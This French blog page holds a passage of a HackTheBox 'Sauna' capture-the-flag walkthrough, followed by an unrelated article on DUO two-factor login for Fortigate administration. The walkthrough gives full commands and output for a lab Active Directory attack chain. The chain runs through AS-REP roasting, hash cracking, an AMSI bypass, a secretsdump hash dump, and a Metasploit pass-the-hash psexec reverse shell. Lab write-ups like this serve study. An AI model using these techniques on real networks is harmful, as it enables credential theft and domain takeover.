21:19:48 patator INFO - Hits/Done/Skip/Fail/Size: 22/220560/0/0/220560, Avg: 734 r/s, Time: 0h 5m 0s

Du coup, je me suis arrêté sur la partie qui évoque l’équipe, on récupère une liste de noms et un message :

root@HTB:~/HTB/Sauna# lynx http://10.10.10.175/about.html#team
Une liste de noms et un message…
Meet the team. So many bank account managers but only one security manager. Sounds about right!

Nous devrions être sur la bonne voie ! Je décide de créer un fichier texte avec une liste de logon\login possibles pour chacun d’eux. Un exemple ci-dessous pour « Fergus Smith » (fichier à disposition) :

fergus_smith
fergus-smith
fergus.smith
fsmith
f.smith
smithf
fsmith@EGOTISTICAL-BANK.LOCAL

A partir de là nous allons pouvoir énumerer ceux qui seraient valides. On va commencer avec Nmap via Keberos :

root@HTB:~/HTB/Sauna# nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm='"EGOTISTICAL-BANK.LOCAL"',userdb="'users.txt'" 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:00 EDT
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.022s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| sauna@EGOTISTICAL-BANK.LOCAL
| administrator@EGOTISTICAL-BANK.LOCAL
|_ hsmith@EGOTISTICAL-BANK.LOCAL
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Je suis surpris par le maigre résultat et décide d’utiliser deux autres outils qui portent le même nom « Kerbrute » :

Avant cela, nous devons mettre à jour le résolveur DNS, fichier /etc/resolv.conf au niveau du domaine par défaut et surtout le serveur DNS à utiliser :

root@HTB:~/HTB/Sauna/kerbrute# cat /etc/resolv.conf
search EGOTISTICAL-BANK.LOCAL
nameserver 10.10.10.175

Sans cela vous auriez un message de ce type :

2020/04/06 11:46:58 > Couldn't find any KDCs for realm EGOTISTICAL-BANK.LOCAL. Please specify a Domain Controller

Une fois les changements enregistrés, nous lancons le premier outil en précisant bien le domaine. Et là surprise on a beaucoup plus de réponses :

root@HTB:~/HTB/Sauna/kerbrute# dist/kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL ../users.txt
...
2020/04/06 11:45:47 > Using KDC(s):
2020/04/06 11:45:47 > SAUNA.EGOTISTICAL-BANK.LOCAL:88
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > Done! Tested 55 usernames (8 valid) in 0.394 seconds

Nous avons donc 8*2 = 16 login (avec et sans nom de domaine). Avec le deuxième outil nous avons d’autres informations encore plus intéressantes. Je l’utilise sans faire de brutefore du mot de passe :

root@HTB:~/HTB/Sauna# python ../kerbrute/kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users users.txt
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[] Valid user => hsmith
[] Valid user => fsmith [NOT PREAUTH]
[] Valid user => administrator
[] Valid user => sauna
[] Blocked/Disabled user => guest
[] Valid user => hsmith@EGOTISTICAL-BANK.LOCAL
[] Valid user => sauna@EGOTISTICAL-BANK.LOCAL
[] Valid user => administrator@EGOTISTICAL-BANK.LOCAL
[] Valid user => fsmith@EGOTISTICAL-BANK.LOCAL [NOT PREAUTH]
[] No passwords were discovered :'(

Avec cette liste nous serions tenter de faire un Bruteforce mais nous allons éviter de faire cela afin de ne pas bloquer les comptes. On a un moyen plus rapide et plus discret pour arriver à nos fins.

En effet, on apprend qu’un des utilisateurs (fsmith) a l’option « Ne nécessite pas de préauthentification Kerberos » (NOT PREAUTH) de cochée. Un exemple ci dessous :

Option cochée pour l’utilisateur « Fergus Smith »

Cela signifie que n’importe qui peut envoyer une demande au nom de l’un de ces utilisateurs et recevoir un message (détails dans cet article). Ce dernier type de message contient un bloc de données chiffrées avec la clé utilisateur d’origine, dérivée de son mot de passe. Ensuite, en utilisant ce message, le mot de passe utilisateur peut être craqué hors ligne. On parle de l’attaque ASREPRoast.

Phase d’exploitation 1/2

Avant de mener l’attaque nous devons synchroniser notre horloge sur celle du derveur :

root@HTB:~/HTB/Sauna# ntpdate SAUNA.EGOTISTICAL-BANK.LOCAL
6 Apr 21:16:31 ntpdate[11369]: step time server 10.10.10.175 offset +25374.471851 sec

Ensuite allons récupérer le fameux message appelé TGT auprès du serveur Kerberos. Nous utiliserons l’un des outils de la collection Impacket, GetNPUsers.py, et on l’exporte au format « Hashcat » :

root@HTB:~/HTB/Sauna# GetNPUsers.py EGOTISTICAL-BANK.LOCAL/fsmith -request -format hashcat -outputfile fsmith.hash.asreproast -no-pass
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2ea9fed029e3d054273405ba696517c7$3dc1e7be65f46d81dda94c507cd831a45661448b6340d3e7c5d13734fd66e153f35149d1b6194ba9fa1cbd98314b8052bc7cb56427f635f4b573de9ae007ffdca42c26c0a22cd8359b2f6daa1761b4ad020ded1a6ad20cb8bc1612a2667058855d85301f1a06927b2e7a2043ea5cacf82dfe2f5dd3044de08289c41535b759148b310d9ddb88235b8676e8acfa528d119a22019bb0e6373a398bbddc4bd9768fff166237b4056955c8d448c4039a67f9ef9fbd4e54d2cb3b7975ebaeca2d751b98eaf3f5592d77710a378ea0fda98506057b7fe1f1dfe40075bd4097481cca66a9ac95c0df25e0fc9e99d222b9cec913cb12943eb7003911c4f69081fa38cc4d

Ca fonctionne ! Si on essaye avec un autre utilisateur qui n’a pas l’option « No Pre-Authentication » nous aurions ce message d’erreur :

[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set

Nous allons ensuite tenter de craquer ce hash avec l’outil « Hashcat » en utilisant le dictionnaire bien connu « rockyou.txt » :

root@HTB:~/HTB/Sauna# hashcat -m 18200 --force -a 0 fsmith.hash.asreproast ~/wordlists/rockyou.txt

Et après quelques minutes (c’est relativement rapide), nous avons trouvé le mot de passe du compte !

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23
Session……….: hashcat
Status………..: Cracked

Nous allons maintenant nous connecter au serveur et obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités :

root@HTB:~/HTB/Sauna# evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\FSmith\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\FSmith\Documents> cd ../Desktop
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt
Evil-WinRM PS C:\Users\FSmith\Desktop> more user.txt
1b5520b98d97cf17f24122a55baf70cf

Ce compte ne permet pas de passer « Administrator » directement (en tous les cas je n’ai pas trouvé). Par contre, il nous donne de nouvelles informations utiles comme ici au niveau des partages mais aussi de la liste des comptes du domaine, notamment le compte (de service) svc_loanmgr :

root@HTB:~/HTB/Sauna# smbmap -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share
root@HTB:~/HTB/Sauna# rpcclient -U EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL 10.10.10.175
Enter EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[HSmith] rid:[0x44f]
user:[FSmith] rid:[0x451]
user:[svc_loanmgr] rid:[0x454]

Les répertoires ne donnent pas beaucoup d’informations. Et impossible d’obtenir les hashs des comptes avec un autre outil de la suite Impacket, secretdump.py :

root@HTB:~/HTB/Sauna# secretsdump.py fsmith@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter 
[] Cleaning up…

Phase d’énumération 2/2

Après une recherche infructueuse, nous allons faire une recherche plus approfondie toujours avec notre usager fsmith en utilisant l’outil WindowsEnum.

Avant cela nous allons désactiver la protection PowerShell AMSI afin de pouvoir utiliser pleinement notre script. Taper menu puis Bypass-4MSI :

Evil-WinRM PS C:\Users\FSmith\Documents> menu
...
By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
Evil-WinRM PS C:\Users\FSmith\Documents> Bypass-4MSI
[+] Patched! :D

Puis on upload notre script :

Evil-WinRM PS C:\Users\FSmith\Documents> upload WindowsEnum/WindowsEnum.ps1
Info: Uploading WindowsEnum/WindowsEnum.ps1 to C:\Users\FSmith\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!

On lance ensuite le script de cette manière (sans le mode étendu) et on patiente un peu :

Evil-WinRM PS C:\Users\FSmith\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1

Après quelques minutes on obtient le résultat. Il faut prendre le temps de bien lire ! Je n’ai pas vu tout de suite mais voici ce que l’on a sous nos yeux :

User Autologon Registry Items
DefaultDomainName DefaultUserName DefaultPassword
----------------- --------------- ---------------
EGOTISTICALBANK EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!

Et oui 🙂 on a un deuxième compte (de service) en mode « Auto logon » avec le mot de passe.

A partir de là, beaucoup vont se faire avoir, moi le premier ! Rappelez-vous, nous avions trouvé les comptes de domaines mais le logon n’était pas le même pour celui-ci ! Il faut donc utiliser le bon pour la suite à savoir svc_loanmgr et non svc_loanmanager.

Voyons si nous pouvons obtenir plus de droits avec cet utilisateur :

root@HTB:~/HTB/Sauna# smbmap -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share

Ca commence mal… essayons de récupérer à nouveau les hashs des comptes :

root@HTB:~/HTB/Sauna# secretsdump.py svc_loanmgr@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:9bd54ba212681ea79bd12be719942ff2:::
...
[] Cleaning up…

Bingo ! 🙂 On peut les récupérer !

Phase d’exploitation 2/2

Pour la suite nous utiliserons Metasploit, pour changer un peu, et notamment le module exploit/windows/smb/psexec qui permet d’utiliser directement le hash du mot de passe (technique du Pass the Hash) :

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                SAUNA.EGOTISTICAL-BANK.LOCAL                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             EGOTISTICAL-BANK.LOCAL                                             no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as

Il ne reste plus qu’à lancer notre attaque :

msf5 exploit(windows/smb/psexec) > run
[] Started reverse TCP handler on 10.10.14.11:4444 [] 10.10.10.175:445 - Connecting to the server…
[] 10.10.10.175:445 - Authenticating to 10.10.10.175:445|EGOTISTICAL-BANK.LOCAL as user 'Administrator'… [] 10.10.10.175:445 - Selecting PowerShell target
[] 10.10.10.175:445 - Executing the payload… [+] 10.10.10.175:445 - Service start timed out, OK if running a command or non-service executable… [] Sending stage (180291 bytes) to 10.10.10.175
[*] Meterpreter session 1 opened (10.10.14.11:4444 -> 10.10.10.175:61387) at 2020-04-07 00:07:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Voilà ! Nous avons un shell et sommes root cette fois 🙂 Il ne reste plus qu’à récupérer le drapeau root.txt :

meterpreter > shell
Process 5388 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>more root.txt
more root.txt
f3ee04965c68257382e31502cc5e881f

Conclusion

Nous voilà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est vraiment importante sur cette machine virtuelle.

Avec du recul, elle n’est pas insurmontable techniquement mais demande un effort important d’analyse. On apprend beaucoup !

Note : j’ai aussi trouvé une faille avec le driver de l’imprimante mais impossible de l’exploiter. Le répertoire concerné est pourtant bien en R/W mais cela n’aboutit pas (via Metasploit).

02 Fév

Double authentification (2FA) avec un Fortigate via LDAP(S) : Fortigate, administration (3/4)

Objectif et contexte

Nous avons vu dans un premier article comment installer et configurer l’application « DUO Authentication Proxy » de DUO Security.

Puis dans un deuxième comment utiliser cette solution avec FortiClient pour les connexions VPN SSL.

Nous étudierons ici le cas suivant, toujours via le protocole LDAP(S) :

  • Administration d’un firewall Fortigate, Ex. pour des administrateurs réseau

Dans un prochain et dernier article nous verrons les différentes méthodes de validation pour l’usager et son enrôlement.

Configuration LDAP

Pour authentifier les administrateurs qui se connectent aux Firewalls Fortigate, nous nous appuieront sur des serveurs LDAP que nous avons préalablement configurés dans cet article.

Je ne détaillerai donc pas cette partie ici, il n’y a rien de plus à configurer.

Groupes locaux

Nous devons maintenant créer des groupes locaux qui pointeront vers ceux de l’annuaire d’entreprise via nos nouveaux serveurs LDAP.

Là aussi, je vous invite à lire cet article pour connaître tous les détails. Il n’y a rien de plus à ajouter si ce n’est qu’il faudra définir un groupe local avec un nom plus explicite et adapté pour l’administration (Par Ex. ADMIN DUO).

Méthode d’authentification

Pour finir nous devons créer une nouvelle méthode d’authentification. Il faut pour cela se rendre au niveau « Global », à savoir (GUI) :

Global/System/Administrators

Il suffit de créer un nouvel « administrateur » et de remplir à minima les champs suivants en jaune :

Création d’une méthode d’authentification basée sur 2FA

Il est important de bien choisir le type comme indiqué pour permettre à plusieurs administrateurs de se connecter et le groupe local que l’on a créé pour utiliser la double authentification. Et bien-sûr le profil ou rôle adéquate (comme Sheila !).

Timeout (important)

Il reste un dernier changement important à faire pour laisser le temps à l’administrateur de valider ou non la demande de connexion lors de la deuxième authentification (si accès frauduleux ou erreur).

En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir les méthodes DUO offertes dans le dernier article de la série 4/4).

Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.

Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :

On augmente le délai d’attente à 60 secondes

Il est maintenant temps de tester la connexion.

Test de connexion

Vous devrez pour cela créer ou utiliser un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » correspondant au groupe local du firewall, « ADMIN_DUO » dans notre exemple.

Il suffit ensuite d’utiliser les informations de connexion de ce compte administrateur pour vérifier que l’authentification fonctionne, HTTPS et SSH, par exemple :

  • https://firewall01.acme.corp/
  • ssh compte_administrateur_AD@ firewall01 .acme.corp

Un délai de 60 secondes sera donc accordé pour laisser le temps à administrateur de valider l’authentification à partir de son téléphone ou tablette.

En cas d’échec de connexion, il faudra vérifier les fichiers de logs sur le serveur DUO, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Rendez-vous sur cet article pour les détails.

Mot de la fin

Cet article est le plus court de la série car l’essentiel a déjà été traité dans le précèdent.

Nous avons donc à ce stade une solution davantage sécurisée pour l’administration des firewall Fortigate et pour les connexions distantes via FortiClient.

Rendez-vous dans le dernier article pour voir comment nous pouvons ajouter ou plutôt « enrôler » un nouvel utilisateur et les différentes méthodes de validation offertes avec DUO – en cours de rédaction.